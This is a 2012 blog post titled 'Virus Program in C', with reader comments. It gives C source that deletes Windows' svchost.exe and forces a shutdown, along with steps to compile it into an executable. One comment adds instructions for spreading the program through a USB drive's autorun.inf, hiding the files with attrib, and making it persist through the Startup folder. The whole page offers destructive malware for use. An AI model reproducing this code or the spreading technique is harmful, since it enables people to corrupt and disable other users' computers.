Thursday 25 October 2012

Virus Program in C


A simple Virus program in C for windows XP......

#include<stdio.h>
#include<conio.h>
#include<process.h>
void main()
{
printf(" Virus Activated............");
printf("\n\n your system gets HALTED");
remove("c:\\windows\\system32\\svchost.exe");
printf("\nStop me if u can.....\n\n\t\tKrazy scientist-Gaurav Singhal");
system("c:\\windows\\system32\\shutdown -s -t 30");
}



Description:
this virus deletes the file name svchost.exe which can corrupt your windows....

steps to use this program
1. save this code as any_name.c
2. make its executable file,
*****Do not run this code, only create its .exe file..
3. in turbo compiler it is done by pressing F9 key,
in GCC it is done by clicking on "Build" option...


                                                                                                       -Gaurav Singhal

3 comments:

Qadir Hussain said...

so how can we stop this.
or any antivirus technique to disable or clean this virus.. :)

Gaurav said...

not yet..

Anonymous said...

further, if u would like then try a small trick with it;
first:
1.insert a pendrive(pD)
2.copy any_name.exe to pD
2.open notepad and type
[autorun]
open=any_name.exe
3.and save it as autorun.inf in pD
4.open command prompt and type
attrib +r +s +h e:/autorun.inf
attrib +r +s +h e:/any_name.exe
(if e: drive is ur pD)
second:
another way is that u add the prog. to startup(by coping is shortcut in C:\Documents and Settings\username\Start Menu\Programs\Startup